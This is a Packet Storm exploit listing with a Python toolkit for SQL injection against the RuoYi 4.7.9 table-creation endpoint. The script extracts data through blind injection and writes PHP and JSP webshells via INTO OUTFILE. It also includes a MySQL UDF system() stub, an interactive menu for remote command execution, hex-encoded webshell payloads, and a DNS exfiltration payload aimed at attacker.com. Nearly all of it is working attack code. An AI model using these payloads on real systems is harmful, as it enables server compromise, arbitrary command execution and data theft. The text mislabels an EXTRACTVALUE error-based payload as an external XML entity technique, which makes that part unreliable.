PACKETSTORM

📄 RuoYi 4.7.9 Advanced SQL Injection Exploitation Toolkit_PACKETSTORM:215818

Description

This Python script is a sophisticated SQL injection exploitation tool that targets Java web applications specifically RuoYi framework, with additional remote code execution capabilities. The tool performs blind SQL injection attacks and includes...
Visit Original Source

Basic Information

ID PACKETSTORM:215818
Published Feb 18, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : RuoYi 4.7.9 Advanced SQL Injection Exploitation Toolkit with RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/yangzongzhuan/RuoYi |
=============================================================================================================================================

[+] Summary : This Python script is a sophisticated SQL injection exploitation tool that targets Java web applications (specifically RuoYi framework),
with additional Remote Code Execution (RCE) capabilities. The tool performs blind SQL injection attacks and includes multiple methods for escalating SQLi to full system compromise

[+] Technical Details:

Attack Vector: SQL injection in table creation endpoint (/tool/gen/createTable)

Injection Technique: Boolean-based blind with error-based fallback

Database: MySQL (uses MySQL-specific functions and syntax)

Payload Types: CREATE TABLE statements with conditional subqueries

Exploitation Chain: SQLi → File Write → Webshell → RCE

[+] POC : python poc.py

import requests
import argparse
import random
from concurrent.futures import ThreadPoolExecutor
from string import printable, ascii_lowercase, digits
from urllib3 import disable_warnings
disable_warnings()


PROXY_ENABLED = True
PROXY = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
} if PROXY_ENABLED else {}
CHARSET = printable

def send_request(payload):
global counter
cookies = {
'JSESSIONID': cookie,
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
data = f"sql={payload}"
resp = requests.post(url=url+'/tool/gen/createTable', data=data, cookies=cookies, headers=headers, verify=False, proxies=PROXY)
counter += 1
if "Operation successful" in resp.text:
return True
return False

def get_length_payload(value):
tablename = f"{random_string}_{counter}"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(length(%40%40version)%3d{value}%2c%201%2c%201%2f0)%3b"
return payload

def get_length():
for length in range(100):
payload = get_length_payload(length)
if send_request(payload=payload):
print(f'Data has {length} characters')
return length
return 0

def get_payload(location, value:int):
tablename = f"{random_string}_{counter}"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c{location}%2c1))%3d{value}%2c%201%2c%201%2f0)%3b"
return payload

def get_char(location):
for char in CHARSET:
payload = get_payload(location=location, value=ord(char))
if send_request(payload=payload):
print(f'Found character {char} at location {location}')
return char
return 'None'

def get_data():
length = get_length()
with ThreadPoolExecutor(max_workers=20) as tpe:
res_iter = tpe.map(get_char, range(1, length+1))
return ''.join(res_iter)

def test_file_write():
"""Testing file writing capabilities"""
test_paths = [
'/tmp/test_rce.txt',
'/var/www/html/test.php',
'C:\\Windows\\Temp\\test.txt',
'C:\\inetpub\\wwwroot\\test.php'
]

for path in test_paths:
clean_path = path.replace(' ', '')
tablename = f"{random_string}_rce_test"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%20'<?php%20phpinfo();%20?>'%20INTO%20OUTFILE%20'{clean_path}'"

print(f"[*] Testing file write to: {clean_path}")
if send_request(payload):
print(f"[+] File write Possible success to: {clean_path}")
return clean_path

return None

def execute_system_command(cmd):
"""Executing a system command using INTO OUTFILE و UDF"""

webshell_path = '/var/www/html/shell.php'

import base64
cmd_b64 = base64.b64encode(cmd.encode()).decode()

php_shell = f'''<?php
if(isset($_GET['cmd'])) {{
$cmd = base64_decode($_GET['cmd']);
echo "<pre>";
system($cmd);
echo "</pre>";
}}
?>'''

tablename = f"{random_string}_webshell"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_shell.encode().hex()}%20INTO%20OUTFILE%20'{webshell_path}'"

if send_request(payload):
print(f"[+] Webshell written to: {webshell_path}")
try:
shell_url = f"{url}/shell.php?cmd={cmd_b64}"
resp = requests.get(shell_url, verify=False, proxies=PROXY)
if resp.status_code == 200:
print("[+] Command output:")
print(resp.text[:500])
return resp.text
except:
pass

return None

def mysql_udf_rce():
"""RCE Using MySQL UDF"""
print("[*] Attempting MySQL UDF RCE...")

tablename = f"{random_string}_plugin_dir"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%20@@plugin_dir"

if send_request(payload):

plugin_dir = "/usr/lib/mysql/plugin/"

udf_payload = '''
#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count;
enum Item_result *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
} UDF_ARGS;

typedef struct st_udf_init {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (args->arg_count != 1)
return 0;
system(args->args[0]);
return 0;
}
'''


return False

def java_jsp_shell():
"""Writing JSP shells for Java applications"""
jsp_shell = '''<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
<form method="post">
CMD: <input type="text" name="cmd" size="50">
<input type="submit">
</form>'''

jsp_paths = [
'/opt/tomcat/webapps/ROOT/cmd.jsp',
'/usr/local/tomcat/webapps/ROOT/shell.jsp',
'C:\\Program Files\\Apache Software Foundation\\Tomcat\\webapps\\ROOT\\cmd.jsp'
]

for path in jsp_paths:
tablename = f"{random_string}_jspshell"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{jsp_shell.encode().hex()}%20INTO%20OUTFILE%20'{path}'"

if send_request(payload):
print(f"[+] JSP shell written to: {path}")
return path

return None

def rce_menu():
"""RCE Options List"""
print("\n" + "="*50)
print("RCE Exploitation Menu")
print("="*50)
print("1. Test file write capability")
print("2. Write PHP webshell")
print("3. Write JSP shell (Java)")
print("4. Execute system command")
print("5. Automated RCE chain")
print("6. Back to main menu")

choice = input("\nSelect option: ")

if choice == "1":
path = test_file_write()
if path:
print(f"[+] File write successful to: {path}")
else:
print("[-] File write failed")

elif choice == "2":
webshell_path = '/var/www/html/cmd.php'
php_code = '<?php system($_GET["cmd"]); ?>'

tablename = f"{random_string}_phpws"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_code.encode().hex()}%20INTO%20OUTFILE%20'{webshell_path}'"

if send_request(payload):
print(f"[+] PHP webshell written to: {webshell_path}")
print(f"[+] Access at: {url}/cmd.php?cmd=id")
else:
print("[-] Failed to write webshell")

elif choice == "3":
path = java_jsp_shell()
if path:
print(f"[+] Access shell at: {url}/shell.jsp")

elif choice == "4":
cmd = input("Enter command to execute: ")
result = execute_system_command(cmd)
if not result:
print("[-] Command execution failed")

elif choice == "5":
print("[*] Running automated RCE chain...")
print("[*] Step 1: Testing file write...")
write_path = test_file_write()

if write_path:
print(f"[+] Can write to: {write_path}")
print("[*] Step 2: Writing webshell...")

if '.php' in write_path:
php_code = '<?php echo shell_exec($_GET["cmd"]); ?>'
tablename = f"{random_string}_auto"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_code.encode().hex()}%20INTO%20OUTFILE%20'{write_path}'"

if send_request(payload):
print(f"[+] Webshell written successfully!")
print(f"[+] Test with: {url}/{'cmd.php' if 'cmd.php' in write_path else write_path.split('/')[-1]}?cmd=id")

elif '.jsp' in write_path:
java_jsp_shell()
else:
print("[-] Automated chain failed at step 1")

def init():
parser = argparse.ArgumentParser(description='SQLi PoC with RCE')
parser.add_argument('-u','--url',help='Target url', required=True, type=str)
parser.add_argument('-c','--cookie',help='JSESSIONID cookie value', required=True, type=str)
parser.add_argument('--rce', help='Enable RCE mode', action='store_true')
return parser.parse_args()

if __name__ == '__main__':
args = init()
url = args.url
cookie = args.cookie
counter = 0
random_string = ''.join(random.choices(ascii_lowercase + digits, k=6))

if args.rce:
rce_menu()
else:
print('Data: ', get_data())

Additional RCE Loading Options:

1. Direct Webshell Writing:



# PHP Webshell

payload = "CREATE%20table%20test%20as%20SELECT%200x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e%20INTO%20OUTFILE%20'/var/www/html/shell.php'"

# JSP Webshell

payload = "CREATE%20table%20test%20as%20SELECT%200x3c25406672616765207061676520696d706f72743d226a6176612e696f2e2a2c 6a6176612e7574696c2e2a22253e3c25696628726571756573742e676574506172616d657465722822632229213d6e756c6c297b5 0726f6365737320703d52756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d65 7465722822632229293b42756666657265645265616465722062693d6e6577204275666665726564526561646572286e657720496e 70757453747265616d52656164657228702e676574496e70757453747265616d282929293b537472696e67206c696e653b7768696 c6528286c696e653d62692e726561644c696e65282929213d6e756c6c297b6f75742e7072696e746c6e286c696e65293b7d7d253e 3c666f726d206d6574686f643d22504f5354223e3c696e70757420747970653d227465787422206e616d653d2263223e3c696e70757420747970653d227375626d6974223e3c2f666f726d3e%20INTO%20OUTFILE%20'/opt/tomcat/webapps/ROOT/cmd.jsp'"

2. Executing actions via DNS extraction:

payload = "CREATE%20table%20test%20as%20SELECT%20LOAD_FILE(CONCAT('\\\\\\\\',(SELECT%20@@version),'.attacker.com\\\\test'))"

3. Using an external XML entity:

payload = "CREATE%20table%20test%20as%20SELECT%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20@@version),0x7e))"


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.